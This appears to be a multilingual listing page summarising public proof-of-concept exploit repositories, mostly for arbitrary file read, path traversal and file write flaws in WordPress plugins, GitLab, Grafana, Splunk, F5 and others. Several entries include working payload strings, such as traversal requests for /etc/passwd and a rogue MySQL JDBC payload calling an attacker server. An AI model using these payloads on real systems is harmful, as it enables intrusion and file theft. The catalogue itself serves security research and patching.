CVE-2026-3576

CVE-2026-3576 - إضافة ووردبريس Planyo Online Reservation System = 3.0 - قراءة ملفات عشوائية عبر SSRF يحتوي هذا المستودع على برنامج إثبات مفهوم PoC مبني على لغة بايثون لاستغلال ثغرة CVE-2026-3576. يمكن العثور عليه أيضاً في Exploit-DB هنا. كما قمت بتطوير وحدة Metasploit لهذا الاستغلال ويمكن العثور...

gitlab-12.9.0-file-read

Предупреждение Только для демонстрационных целей и этичного взлома. Что это Претендующий на звание лучшего скрипт, чем тот, что можно найти на exploit-db, для аутентифицированного произвольного чтения файлов в GitLab v12.9.0 CVE-2020-10977 Как использовать 1. Установите зависимость остальное у ва...

CVE-2015-3337

CVE-2015-3337 CVE-2015-3337 قراءة الملفات التعسفية http://10.10.20.166:9200/plugin/head/../../../../../../../../../etc/passwd الاستخدام: python CVE-2015-3337.py root@kitploit: python CVE-2015-3337.py / \ | | | | / | |/ | | | | || || || / | / / | | | | ' / /'| |/' || | | \ / / / / / / / / | | | |...

CVE-2024-38816-PoC

إثبات المفهوم PoC لثغرة CVE-2024-38816 هذا إثبات مفهوم لثغرة CVE-2024-38816، يوضح استغلال اجتياز المسار Path Traversal. خطوات التنفيذ 1. قم ببناء صورة Docker: Spring Boot 3.0.13، استنادًا إلى Spring Framework 6.0.3 root@kitploit: docker build -t cve-2024-38816-poc . 2. شغّل الحاوية واعرض المنفذ...

CVE-2019-12086

وصف المستند CVE-2019-12086 jackson unserialize استغلال الثغرة 1. تشغيل خادم MySQL الخبيث: python roguemysqlserver.py 2. عرض mysql.log في نفس الدليل: tail -f mysql.log 3. إرسال JSON التالي إلى التطبيق المعرض للثغرة: "com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attackerserver:port/foo" عند إلغ...

CVE-2021-38819

CVE-2021-38819...

CVE-2023-52076-PoC

CVE-2023-52076-PoC إثبات مفهوم لثغرة CVE-2023-52076، وهي ثغرة حرجة في اجتياز المسار وكتابة الملفات التعسفية في عارضي المستندات Atril/Xreader ، وتؤثر على بيئات سطح مكتب MATE. ينشئ البرنامج النصي حمولة EPUB مصمَّمة بعناية تحتوي مسارات zip-slip تستهدف إما إعدادات SSH أو إدخالات سطح المكتب autostart،...

shirocrack

shirocrack كاسر تجزئة بسيط لتجزئات Apache Shiro مكتوب بلغة Go. مفيد لاستغلال CVE-2024-4956. لنكن مختصرين CVE-2024-4956 هي ثغرة اجتياز المسار في مستودع Sonatype Nexus تسمح لمهاجم غير مصادق مع وصول شبكي للخادم بقراءة ملفات عشوائية من النظام، طالما يعرف المسار. كل عرض استغلال رأيته سحب /etc/passwd...

AFR-in-OMSA

قراءة ملفات تعسفية في OMSA التحقق من ثغرات قراءة الملفات التعسفية في Dell OpenManage Server Administrator OMSA - CVE-2016-4004 و CVE-2021-21514 و CVE-2020-5377...

blind-xxe-controller-CVE-2021-29447

وحدة تحكم Blind XXE لقد صنعت هذه الوحدة للتحكم أثناء حل آلة metatwo في HackTheBox لاستغلال CVE-2021-29447 ، وهي ثغرة XXE في ووردبريس في مكتبة الوسائط تؤثر على الإصدارات 5.7، 5.6.2، 5.6.1، 5.6، 5.0.11، حيث يمكن لمستخدم موثوق لديه صلاحية رفع الملفات في مكتبة الوسائط رفع ملف wav ضار قد يؤدي إلى قراء...

CVE-2026-10818

CVE-2026-10818 WPForms Pro = 1.10.1.1 - كتابة ملفات عشوائية دون مصادقة عبر ترتيب Init/Finalize في الرفع المجزأ CVE-2026-10818 WPForms Pro ≤ 1.10.1.1 — كتابة ملفات عشوائية دون مصادقة عبر الرفع المجزأ استغلال إثبات المفهوم Proof-of-Concept ترتيب Init/Finalize في الرفع المجزأ → كشف مسار قابل للتوقع ...

CVE-2020-10567

POC-CVE-2020-10567 POC RCE - RESPONSIVE filemanager v.9.14.0. pas la branche principale ⚠️ Projet GitHub : https://github.com/trippo/ResponsiveFilemanager Prérequis : Aucun, cet exploit ne nécessite pas d'authentification. L'application Responsive Filemanager est un outil de gestion de fichiers...

CVE-2024-36991

CVE-2024-36991 - تجاوز المسار في Splunk إثبات المفهوم لـ CVE-2024-36991 والذي يسمح للمهاجم بقراءة ملفات عشوائية في Splunk للإصدارات الأقل من 9.2.2 و 9.1.5 و 9.0.10 لنظام Windows. الاستخدام قراءة ملفات تكوين Splunk لقراءة ملفات Splunk ما عليك سوى تشغيل السكريبت مع تمرير عنوان URL المستهدف الذي يعم...

CVE-2021-43798

CVE-2021-43798 Grafana8.x قراءة أي ملف http://ryze-t.com/posts/2021/12/15/CVE-2021-43798-Grafana%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96.html الاستخدام exp http://example.com /etc/passwd النتائج...

cve-2020-25540

ThinkAdmin قائمة الدليل غير المصرح بها / قراءة ملف عشوائي cve-2020-25540 طريقة الاستخدام root@kitploit: python3 cve-2020-25540.py url...

CVE-2024-24919

Mass Auto Scanner pour CVE-2024-24919 Ce script est conçu pour analyser une liste d'URLs à la recherche de la vulnérabilité CVE-2024-24919 sur les pare-feux Check Point distants. Il tente d'exploiter la vulnérabilité en envoyant une requête POST malveillante pour extraire des fichiers spécifiques...

CVE-2017-18345-COM_JOOMANAGER-ARBITRARY-FILE-DOWNLOAD

COMJOOMANAGER 2.0 - تحميل ملف عشوائي جمع قواعد البيانات بشكل جماعي باستخدام الإضافة: COMJOOMANAGER، من نظام إدارة المحتوى: Joomla، مشروع مطوّر بلغة Python 2.x، للمزيد من المعلومات، تفضل بمشاهدة فيديو اليوتيوب. CVE: 2017-18345 المخاطرة: مخاطرة أمنية عالية 0day.Today-ID: 29950 ExploitDB-id: 44252...

CVE-2020-5902_RCE

CVE-2020-5902RCEEXP المدونة: http://www.svenbeast.com/post/cve-2020-5902 قراءة الملف مثال: https://x.x.x.x/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd root@kitploit: GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd HTTP/1.1 Host: 127.0.0.1 Connection:...

EventLogin-CVE-2025-29969

EventLogin - CVE-2025-29969 EventLogin هي ثغرة من نوع Time-of-check time-of-use TOCTOU في بروتوكول MS-EVEN. تُمكّن هذه الثغرة المستخدمين ذوي الصلاحيات المنخفضة من كتابة ملفات عشوائية على جهاز بعيد، مما يتجاوز فعليًا الحاجة إلى حساب مسؤول للكتابة عن بُعد. يوجد نصان برمجيان في هذا المستودع، الأول...

CVE-2024-28995

CVE-2024-28995 إخلاء مسؤولية هذه الأداة مخصّصة للاستخدام في البحث والتعلم الأمني الشخصي فقط. أي عواقب أو خسائر مباشرة أو غير مباشرة ناتجة عن نشر هذه الأداة أو استخدامها تقع على عاتق المستخدم وحده، ولا يتحمل مؤلف الأداة أي مسؤولية عن ذلك. version = 15.4 NAME: Serv-U - قراءة ملفات تعسفية USAGE:...